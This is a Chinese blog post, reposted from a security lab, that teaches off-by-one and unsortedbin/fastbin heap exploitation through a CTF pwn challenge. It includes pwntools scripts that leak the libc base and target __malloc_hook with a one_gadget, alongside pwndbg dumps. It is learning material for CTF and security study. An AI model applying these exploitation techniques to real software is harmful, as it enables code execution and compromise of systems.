<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2">
<meta name="theme-color" content="#222">
<meta name="generator" content="Hexo 5.3.0">
  <link rel="apple-touch-icon" sizes="180x180" href="https://www.hualigs.cn/image/6015799666530.jpg">
  <link rel="icon" type="image/png" sizes="32x32" href="https://www.hualigs.cn/image/6015799666530.jpg">
  <link rel="icon" type="image/png" sizes="16x16" href="https://www.hualigs.cn/image/6015799666530.jpg">
  <link rel="mask-icon" href="https://www.hualigs.cn/image/6015799666530.jpg" color="#222">
  <link rel="manifest" href="https://www.hualigs.cn/image/6015799666530.jpg">
  <meta name="msapplication-config" content="https://www.hualigs.cn/image/6015799666530.jpg">

<link rel="stylesheet" href="/diazang/css/main.css">


<link rel="stylesheet" href="/diazang/lib/font-awesome/css/all.min.css">

<script id="hexo-configurations">
    var NexT = window.NexT || {};
    var CONFIG = {"hostname":"jue-xian.gitee.io","root":"/diazang/","scheme":"Gemini","version":"7.8.0","exturl":false,"sidebar":{"position":"left","display":"post","padding":18,"offset":12,"onmobile":false},"copycode":{"enable":false,"show_result":false,"style":null},"back2top":{"enable":true,"sidebar":true,"scrollpercent":true},"bookmark":{"enable":false,"color":"#222","save":"auto"},"fancybox":false,"mediumzoom":false,"lazyload":false,"pangu":false,"comments":{"style":"tabs","active":null,"storage":true,"lazyload":false,"nav":null},"algolia":{"hits":{"per_page":10},"labels":{"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}},"localsearch":{"enable":true,"trigger":"auto","top_n_per_article":1,"unescape":false,"preload":false},"motion":{"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},"path":"search.xml"};
  </script>

  <meta name="description" content="首发于合天网安实验室，转载于博客备用">
<meta property="og:type" content="article">
<meta property="og:title" content="快速入门堆溢出技巧(OFF BY ONE)">
<meta property="og:url" content="https://jue-xian.gitee.io/diazang/2021/05/12/%E4%B8%80%E9%81%93%E9%A2%98%E6%8E%8C%E6%8F%A1%E5%85%A5%E9%97%A8OFF%20BY%20ONE+UNSORTEDBIN&FASTBINS_ATTACK/index.html">
<meta property="og:site_name" content="RUBIA">
<meta property="og:description" content="首发于合天网安实验室，转载于博客备用">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://i.loli.net/2021/04/30/OdSRMCLjXgl9iPk.png">
<meta property="og:image" content="https://i.loli.net/2021/04/30/VXxY5gHt6OBCWEK.png">
<meta property="og:image" content="https://i.loli.net/2021/04/30/NvL3HnsEMGQmBWp.png">
<meta property="og:image" content="https://i.loli.net/2021/03/18/KAIFDqzE9j23rgM.png">
<meta property="article:published_time" content="2021-05-11T18:35:51.000Z">
<meta property="article:modified_time" content="2021-05-13T09:37:41.649Z">
<meta property="article:author" content="H.R.P">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://i.loli.net/2021/04/30/OdSRMCLjXgl9iPk.png">

<link rel="canonical" href="https://jue-xian.gitee.io/diazang/2021/05/12/%E4%B8%80%E9%81%93%E9%A2%98%E6%8E%8C%E6%8F%A1%E5%85%A5%E9%97%A8OFF%20BY%20ONE+UNSORTEDBIN&FASTBINS_ATTACK/">


<script id="page-configurations">
  // https://hexo.io/docs/variables.html
  CONFIG.page = {
    sidebar: "",
    isHome : false,
    isPost : true,
    lang   : 'zh-CN'
  };
</script>

  <title>快速入门堆溢出技巧(OFF BY ONE) | RUBIA</title>
  






  <noscript>
  <style>
  .use-motion .brand,
  .use-motion .menu-item,
  .sidebar-inner,
  .use-motion .post-block,
  .use-motion .pagination,
  .use-motion .comments,
  .use-motion .post-header,
  .use-motion .post-body,
  .use-motion .collection-header { opacity: initial; }

  .use-motion .site-title,
  .use-motion .site-subtitle {
    opacity: initial;
    top: initial;
  }

  .use-motion .logo-line-before i { left: initial; }
  .use-motion .logo-line-after i { right: initial; }
  </style>
</noscript>

<link rel="alternate" href="/diazang/atom.xml" title="RUBIA" type="application/atom+xml">
</head>

<body itemscope itemtype="http://schema.org/WebPage">
  <div class="container use-motion">
    <div class="headband"></div>

    <header class="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-container">
  <div class="site-nav-toggle">
    <div class="toggle" aria-label="切换导航栏">
      <span class="toggle-line toggle-line-first"></span>
      <span class="toggle-line toggle-line-middle"></span>
      <span class="toggle-line toggle-line-last"></span>
    </div>
  </div>

  <div class="site-meta">

    <a href="/diazang/" class="brand" rel="start">
      <span class="logo-line-before"><i></i></span>
      <h1 class="site-title">RUBIA</h1>
      <span class="logo-line-after"><i></i></span>
    </a>
  </div>

  <div class="site-nav-right">
    <div class="toggle popup-trigger">
        <i class="fa fa-search fa-fw fa-lg"></i>
    </div>
  </div>
</div>




<nav class="site-nav">
  <ul id="menu" class="main-menu menu">
        <li class="menu-item menu-item-home">

    <a href="/diazang/" rel="section"><i class="fa fa-home fa-fw"></i>首页</a>

  </li>
        <li class="menu-item menu-item-about">

    <a href="/diazang/about/" rel="section"><i class="fa fa-user fa-fw"></i>关于</a>

  </li>
        <li class="menu-item menu-item-tags">

    <a href="/diazang/tags/" rel="section"><i class="fa fa-tags fa-fw"></i>标签</a>

  </li>
        <li class="menu-item menu-item-categories">

    <a href="/diazang/categories/" rel="section"><i class="fa fa-th fa-fw"></i>分类</a>

  </li>
        <li class="menu-item menu-item-archives">

    <a href="/diazang/archives/" rel="section"><i class="fa fa-archive fa-fw"></i>归档</a>

  </li>
        <li class="menu-item menu-item-schedule">

    <a href="/diazang/schedule/" rel="section"><i class="fa fa-calendar fa-fw"></i>日程表</a>

  </li>
        <li class="menu-item menu-item-sitemap">

    <a href="/diazang/sitemap.xml" rel="section"><i class="fa fa-sitemap fa-fw"></i>站点地图</a>

  </li>
        <li class="menu-item menu-item-commonweal">

    <a href="/diazang/404/" rel="section"><i class="fa fa-heartbeat fa-fw"></i>公益 404</a>

  </li>
      <li class="menu-item menu-item-search">
        <a role="button" class="popup-trigger"><i class="fa fa-search fa-fw"></i>搜索
        </a>
      </li>
  </ul>
</nav>



  <div class="search-pop-overlay">
    <div class="popup search-popup">
        <div class="search-header">
  <span class="search-icon">
    <i class="fa fa-search"></i>
  </span>
  <div class="search-input-container">
    <input autocomplete="off" autocapitalize="off"
           placeholder="搜索..." spellcheck="false"
           type="search" class="search-input">
  </div>
  <span class="popup-btn-close">
    <i class="fa fa-times-circle"></i>
  </span>
</div>
<div id="search-result">
  <div id="no-result">
    <i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>
  </div>
</div>

    </div>
  </div>

</div>
    </header>

    


    <main class="main">
      <div class="main-inner">
        <div class="content-wrap">
          

          <div class="content post posts-expand">
            

    
  
  
  <article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
    <link itemprop="mainEntityOfPage" href="https://jue-xian.gitee.io/diazang/2021/05/12/%E4%B8%80%E9%81%93%E9%A2%98%E6%8E%8C%E6%8F%A1%E5%85%A5%E9%97%A8OFF%20BY%20ONE+UNSORTEDBIN&FASTBINS_ATTACK/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="image" content="https://www.hualigs.cn/image/6015786be4309.jpg">
      <meta itemprop="name" content="H.R.P">
      <meta itemprop="description" content="">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="RUBIA">
    </span>
      <header class="post-header">
        <h1 class="post-title" itemprop="name headline">
          快速入门堆溢出技巧(OFF BY ONE)
        </h1>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="far fa-calendar"></i>
              </span>
              <span class="post-meta-item-text">发表于</span>

              <time title="创建时间：2021-05-12 02:35:51" itemprop="dateCreated datePublished" datetime="2021-05-12T02:35:51+08:00">2021-05-12</time>
            </span>
              <span class="post-meta-item">
                <span class="post-meta-item-icon">
                  <i class="far fa-calendar-check"></i>
                </span>
                <span class="post-meta-item-text">更新于</span>
                <time title="修改时间：2021-05-13 17:37:41" itemprop="dateModified" datetime="2021-05-13T17:37:41+08:00">2021-05-13</time>
              </span>

          
  
  <span class="post-meta-item">
    
      <span class="post-meta-item-icon">
        <i class="far fa-comment"></i>
      </span>
      <span class="post-meta-item-text">Valine：</span>
    
    <a title="valine" href="/diazang/2021/05/12/%E4%B8%80%E9%81%93%E9%A2%98%E6%8E%8C%E6%8F%A1%E5%85%A5%E9%97%A8OFF%20BY%20ONE+UNSORTEDBIN&FASTBINS_ATTACK/#valine-comments" itemprop="discussionUrl">
      <span class="post-comments-count valine-comment-count" data-xid="/diazang/2021/05/12/%E4%B8%80%E9%81%93%E9%A2%98%E6%8E%8C%E6%8F%A1%E5%85%A5%E9%97%A8OFF%20BY%20ONE+UNSORTEDBIN&FASTBINS_ATTACK/" itemprop="commentCount"></span>
    </a>
  </span>
  
  

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
        <p>首发于合天网安实验室，转载于博客备用</p>
<a id="more"></a>

<h1 id="快速入门堆溢出技巧-OFF-BY-ONE"><a href="#快速入门堆溢出技巧-OFF-BY-ONE" class="headerlink" title="快速入门堆溢出技巧(OFF BY ONE)"></a>快速入门堆溢出技巧(OFF BY ONE)</h1><h2 id="OFF-BY-ONE"><a href="#OFF-BY-ONE" class="headerlink" title="OFF BY ONE"></a>OFF BY ONE</h2><p>所谓OFF BY ONE就是利用堆溢出一个字节到下一个堆块，使得目前堆块与下一堆块合并成一个堆块，此时堆块的大小就是我们溢出的那一字节</p>
<p>并且堆块的fd(前驱指针)以及bk(后继指针)都会指向</p>
<p>main_arena+88的地址这也是我们泄露出来的地址 </p>
<p>利用gdb 输入libc查看基地址，main_arena+88-libc=offset</p>
<h2 id="UNSORTERBIN-amp-FASTBINS"><a href="#UNSORTERBIN-amp-FASTBINS" class="headerlink" title="UNSORTERBIN&amp;FASTBINS"></a>UNSORTERBIN&amp;FASTBINS</h2><p>在堆块的bins中分为fastbins，largebins，smallbins还有今天要用到的unsortedbin。所谓unsortedbin就是为未分类的区块。</p>
<h2 id="例题讲解"><a href="#例题讲解" class="headerlink" title="例题讲解"></a>例题讲解</h2><p>本次我选用V&amp;N在2020的招新赛的simpleheap 如有需要可在buuctf找到</p>
<h3 id="思路概述"><a href="#思路概述" class="headerlink" title="思路概述"></a>思路概述</h3><p>我们先创建足够的堆块一般对于这种菜单类型的题目我们创建4个堆块</p>
<p>其中编号为3(编号从0到3)的堆块用来隔开top chunk避免我们需要用到的</p>
<p>编号为1,2的堆块中的2堆块与top chunk重合导致无法使用unsortedbin攻击</p>
<p>接着去利用off by one+unsortedbin泄露libc(使用show函数)最后将堆排布好并构建payload传入即可</p>
<h2 id="First-step"><a href="#First-step" class="headerlink" title="First step"></a>First step</h2><p>常规操作checksec</p>
<p>保护全开64位，倒也正常。接着拉进ida慢慢分析</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">q@ubuntu:~$ checksec vn</span><br><span class="line">[*] &#39;&#x2F;home&#x2F;q&#x2F;vn&#39;</span><br><span class="line">    Arch:     amd64-64-little</span><br><span class="line">    RELRO:    Full RELRO</span><br><span class="line">    Stack:    Canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      PIE enabled</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p>如下我们可以发现是个非常经典的菜单题目，那么经过查找漏洞点发现在edit函数</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">void __fastcall main(__int64 a1, char **a2, char **a3)</span><br><span class="line">&#123;</span><br><span class="line">  sub_A39(a1, a2, a3);</span><br><span class="line">  puts(&quot;Welcome to V&amp;N challange!&quot;);</span><br><span class="line">  puts(&quot;This&#39;s a simple heap for you.&quot;);</span><br><span class="line">  while ( 1 )</span><br><span class="line">  &#123;</span><br><span class="line">    menu();</span><br><span class="line">    switch ( (unsigned int)sub_9EA() )</span><br><span class="line">    &#123;</span><br><span class="line">      case 1u:</span><br><span class="line">        add();</span><br><span class="line">        break;</span><br><span class="line">      case 2u:</span><br><span class="line">        edit();</span><br><span class="line">        break;</span><br><span class="line">      case 3u:</span><br><span class="line">        show();</span><br><span class="line">        break;</span><br><span class="line">      case 4u:</span><br><span class="line">        del();</span><br><span class="line">        break;</span><br><span class="line">      case 5u:</span><br><span class="line">        exit(0);</span><br><span class="line">      default:</span><br><span class="line">        puts(&quot;Please input current choice.&quot;);</span><br><span class="line">        break;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>如下get_input_content里面有个off by one 的漏洞</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">unsigned __int64 __fastcall sub_C39(__int64 a1, int a2)</span><br><span class="line">&#123;</span><br><span class="line">  unsigned __int64 result; &#x2F;&#x2F; rax</span><br><span class="line">  unsigned int i; &#x2F;&#x2F; [rsp+1Ch] [rbp-4h]</span><br><span class="line"></span><br><span class="line">  for ( i &#x3D; 0; ; ++i )</span><br><span class="line">  &#123;</span><br><span class="line">    result &#x3D; i;</span><br><span class="line">    if ( (int)i &gt; a2 )</span><br><span class="line">      break;</span><br><span class="line">    if ( !read(0, (void *)((int)i + a1), 1uLL) )</span><br><span class="line">      exit(0);</span><br><span class="line">    if ( *(_BYTE *)((int)i + a1) &#x3D;&#x3D; 10 )</span><br><span class="line">    &#123;</span><br><span class="line">      result &#x3D; (int)i + a1;</span><br><span class="line">      *(_BYTE *)result &#x3D; 0;</span><br><span class="line">      return result;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  return result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>


<h2 id="Second-step"><a href="#Second-step" class="headerlink" title="Second step"></a>Second step</h2><p>在第一步我们对程序的漏洞点寻找完毕</p>
<p>现在我们要开始第二步去利用off by one创建fake chunk了，先上交互函数</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">from pwn import *</span><br><span class="line">context(log_level&#x3D;&#39;debug&#39;)</span><br><span class="line">r&#x3D;process(&#39;.&#x2F;vn&#39;)</span><br><span class="line">#elf&#x3D;ELF(&#39;.&#x2F;vn&#39;)</span><br><span class="line">#r&#x3D;remote(&#39;node3.buuoj.cn&#39;,28465)</span><br><span class="line">libc&#x3D;ELF(&#39;16.so&#39;)</span><br><span class="line">def add(size,content):</span><br><span class="line">        r.recvuntil(&quot;choice: &quot;)</span><br><span class="line">        r.sendline(&quot;1&quot;)</span><br><span class="line">        r.sendlineafter(&quot;size?&quot;,str(size))</span><br><span class="line">        r.sendlineafter(&quot;content:&quot;,content)</span><br><span class="line">def edit(idx,content):</span><br><span class="line">        r.recvuntil(&quot;choice: &quot;)</span><br><span class="line">        r.sendline(&quot;2&quot;)</span><br><span class="line">        r.sendlineafter(&quot;idx?&quot;,str(idx))</span><br><span class="line">        r.sendlineafter(&quot;content:&quot;,content)</span><br><span class="line">def dump(idx):</span><br><span class="line">        r.recvuntil(&quot;choice: &quot;)</span><br><span class="line">        r.sendline(&quot;3&quot;)</span><br><span class="line">        r.sendlineafter(&quot;idx?&quot;,str(idx))</span><br><span class="line">def free(idx):</span><br><span class="line">        r.recvuntil(&quot;choice: &quot;)</span><br><span class="line">        r.sendline(&quot;4&quot;)</span><br><span class="line">        r.sendlineafter(&quot;idx?&quot;,str(idx))</span><br></pre></td></tr></table></figure>
<p>如思路概述所讲到我们需要创建4个堆</p>
<p>我们创建好的堆结构如下</p>
<p><img src="https://i.loli.net/2021/04/30/OdSRMCLjXgl9iPk.png" alt="1619783271_1_.jpg"></p>
<p>在gdb中正常的堆结构如下</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; heap</span><br><span class="line">Allocated chunk | PREV_INUSE</span><br><span class="line">Addr: 0x556b208da000</span><br><span class="line">Size: 0x21</span><br><span class="line"></span><br><span class="line">Allocated chunk | PREV_INUSE</span><br><span class="line">Addr: 0x556b208da020</span><br><span class="line">Size: 0x71</span><br><span class="line"></span><br><span class="line">Allocated chunk | PREV_INUSE</span><br><span class="line">Addr: 0x556b208da090</span><br><span class="line">Size: 0x71</span><br><span class="line"></span><br><span class="line">Allocated chunk | PREV_INUSE</span><br><span class="line">Addr: 0x556b208da100</span><br><span class="line">Size: 0x21</span><br><span class="line"></span><br><span class="line">Top chunk | PREV_INUSE</span><br><span class="line">Addr: 0x556b208da120</span><br><span class="line">Size: 0x20ee1</span><br></pre></td></tr></table></figure>
<p>接下来我们开始利用off by one去对其创建fake chunk</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">add(0x18,b&#39;a&#39;)#0</span><br><span class="line">add(0x68,b&#39;a&#39;)#1</span><br><span class="line">add(0x68,b&#39;a&#39;)#2</span><br><span class="line">add(0x18,b&#39;a&#39;)#3 阻断top chunk</span><br><span class="line"></span><br><span class="line">edit(0,b&#39;a&#39;*0x18+b&#39;\xe1&#39;)</span><br><span class="line">free(1)</span><br><span class="line">gdb.attach(r)</span><br></pre></td></tr></table></figure>
<p>gdb中调试结果如下，我们很明显的可以看见两个0x71的堆块合并成了我们想要的0xe1的堆块，此时我们的fake chunk就构建完毕了</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; heap</span><br><span class="line">Allocated chunk | PREV_INUSE</span><br><span class="line">Addr: 0x5650f994f000</span><br><span class="line">Size: 0x21</span><br><span class="line"></span><br><span class="line">Free chunk (unsortedbin) | PREV_INUSE</span><br><span class="line">Addr: 0x5650f994f020</span><br><span class="line">Size: 0xe1</span><br><span class="line">fd: 0x7fc2f9aebb78</span><br><span class="line">bk: 0x7fc2f9aebb78</span><br><span class="line"></span><br><span class="line">Allocated chunk</span><br><span class="line">Addr: 0x5650f994f100</span><br><span class="line">Size: 0x20</span><br><span class="line"></span><br><span class="line">Top chunk | PREV_INUSE</span><br><span class="line">Addr: 0x5650f994f120</span><br><span class="line">Size: 0x20ee1</span><br></pre></td></tr></table></figure>


<h2 id="Third-step"><a href="#Third-step" class="headerlink" title="Third step"></a>Third step</h2><p>有了fake chunk 现在我们就需要用到unsortedbin里面的chunk去泄露libc</p>
<p>在开头的OFF BY ONE的介绍中我们提到了因为OFF BY ONE形成的chunk</p>
<p>其fd bk指针会指向main_arena+88，在gdb输入libc可以得到libc的地址</p>
<p>main_arena+88-libc=offset=0x3c4b78</p>
<p>在这里呢我们现在要解决的如何用脚本实现交互自动取得偏移呢？</p>
<p>这里就要继续提到</p>
<h4 id="分割unsortedbin"><a href="#分割unsortedbin" class="headerlink" title="分割unsortedbin"></a>分割unsortedbin</h4><p>我们重新申请一个堆块，该堆块的大小若刚好在unsortedbin中(强烈建议对半分割)，我们申请回来之后通过gdb可以看见其中的堆结构如下</p>
<p>一个0x71在unsortedbin，另外一个是我们可以正常使用的，此时他的内容便是fd与bk指向的地址main_arena+88</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; heap</span><br><span class="line">Allocated chunk | PREV_INUSE</span><br><span class="line">Addr: 0x559615971000</span><br><span class="line">Size: 0x21</span><br><span class="line"></span><br><span class="line">Allocated chunk | PREV_INUSE</span><br><span class="line">Addr: 0x559615971020</span><br><span class="line">Size: 0x71</span><br><span class="line"></span><br><span class="line">Free chunk (unsortedbin) | PREV_INUSE</span><br><span class="line">Addr: 0x559615971090</span><br><span class="line">Size: 0x71</span><br><span class="line">fd: 0x7f0437e11b78</span><br><span class="line">bk: 0x7f0437e11b78</span><br><span class="line"></span><br><span class="line">Allocated chunk</span><br><span class="line">Addr: 0x559615971100</span><br><span class="line">Size: 0x20</span><br><span class="line"></span><br><span class="line">Top chunk | PREV_INUSE</span><br><span class="line">Addr: 0x559615971120</span><br><span class="line">Size: 0x20ee1</span><br></pre></td></tr></table></figure>
<p>因此我们可以得的泄露脚本如下</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">add(0x68,b&#39;a&#39;*0x08)#1 切割unsortedbin 使得2进入unsortedbin泄露</span><br><span class="line"></span><br><span class="line">main_arena</span><br><span class="line"></span><br><span class="line">dump(2)</span><br><span class="line"></span><br><span class="line">leak&#x3D;u64(r.recv(6).ljust(8,b&#39;\x00&#39;))</span><br><span class="line"></span><br><span class="line">print(hex(leak))</span><br><span class="line"></span><br><span class="line">gdb.attach(r)</span><br><span class="line"></span><br><span class="line">libc_base&#x3D;leak-(0x3c4b78)#0x7f2c05c6cb78-0x7f2c058a8000</span><br><span class="line"></span><br><span class="line">realloc_addr&#x3D;libc_base+libc.sym[&#39;__libc_realloc&#39;]</span><br><span class="line"></span><br><span class="line">malloc_hook&#x3D;libc_base+libc.sym[&#39;__malloc_hook&#39;]</span><br><span class="line"></span><br><span class="line">fake_chunk_addr&#x3D;malloc_hook-0x23</span><br><span class="line"></span><br><span class="line">one_gadget&#x3D;libc_base+0x4526a</span><br><span class="line"></span><br><span class="line">print(hex(realloc_addr))</span><br><span class="line"></span><br><span class="line">print(hex(fake_chunk_addr))</span><br></pre></td></tr></table></figure>
<h4 id="PS"><a href="#PS" class="headerlink" title="PS:"></a>PS:</h4><p>这里可以说下为什么fake_chunk_addr=malloc_hook-0x23</p>
<p>这个malloc_hook-0x23刚好可以达到fastbin这个基本上每个程序都是固定的</p>
<p>如下0x7f78812fbaed就是fake chunk的地址处于fastbins</p>
<p>并且非常有意思的是此处正是我们leak处main_arena+88这个地方减去88再减去0x33得的的地址，并且该地址也是我们对堆块输入内容的地址</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; bins</span><br><span class="line">fastbins</span><br><span class="line">0x20: 0x0</span><br><span class="line">0x30: 0x0</span><br><span class="line">0x40: 0x0</span><br><span class="line">0x50: 0x0</span><br><span class="line">0x60: 0x0</span><br><span class="line">0x70: 0x55f8ce9d4090 —▸ 0x7f78812fbaed (_IO_wide_data_0+301) ◂— 0x7880fbcea0000000</span><br><span class="line">0x80: 0x0</span><br><span class="line">unsortedbin</span><br><span class="line">all: 0x0</span><br><span class="line">smallbins</span><br><span class="line">empty</span><br><span class="line">largebins</span><br><span class="line">empty</span><br></pre></td></tr></table></figure>


<h2 id="Last-step"><a href="#Last-step" class="headerlink" title="Last step"></a>Last step</h2><p>我们现在有了需要的一切，那么现在最后一步就是对堆进行排布并且传入我们构建好的payload</p>
<p>在这里所谓的堆排布就是我们要想办法让堆块去执行我们的传入的payload</p>
<p>从第三步完结的时候堆排布如下</p>
<p>此时我们再申请一个0x68大小的堆块就可以把unsortedbin里面的东西都拿出来</p>
<p>此时堆结构依然不改变，只是位于unsortedbin的chunk变成可以利用的正常chunk其fd bk指针不再指向别的地址而是去指向前驱和后继的chunk</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; heap</span><br><span class="line">Allocated chunk | PREV_INUSE</span><br><span class="line">Addr: 0x555d4046b000</span><br><span class="line">Size: 0x21</span><br><span class="line"></span><br><span class="line">Allocated chunk | PREV_INUSE</span><br><span class="line">Addr: 0x555d4046b020</span><br><span class="line">Size: 0x71</span><br><span class="line"></span><br><span class="line">Free chunk (unsortedbin) | PREV_INUSE</span><br><span class="line">Addr: 0x555d4046b090</span><br><span class="line">Size: 0x71</span><br><span class="line">fd: 0x7ff34264eb78</span><br><span class="line">bk: 0x7ff34264eb78</span><br><span class="line"></span><br><span class="line">Allocated chunk</span><br><span class="line">Addr: 0x555d4046b100</span><br><span class="line">Size: 0x20</span><br><span class="line"></span><br><span class="line">Top chunk | PREV_INUSE</span><br><span class="line">Addr: 0x555d4046b120</span><br><span class="line">Size: 0x20ee1</span><br></pre></td></tr></table></figure>


<p>接下来我们再去free掉一个0x68大小的chunk</p>
<p>对留下来的0x68大小的chunk内容填充为fake chunk的地址</p>
<p>接着继续把被free的chunk申请回来，那么此时fastbin链表就会去指向fake chunk</p>
<p>也许语言看蒙了人，我就用图表示</p>
<p>图1如下是free掉后再去填充的样子</p>
<p><img src="https://i.loli.net/2021/04/30/VXxY5gHt6OBCWEK.png" alt="333.jpg"></p>
<p>图2如下是我们把被free的chunk申请回来后的样子</p>
<p><img src="https://i.loli.net/2021/04/30/NvL3HnsEMGQmBWp.png" alt="444.png"></p>
<p>此时我们可以说是已经劫持成功了，我们接着去填充payload然后再申请一个堆块就可以触发payload了</p>
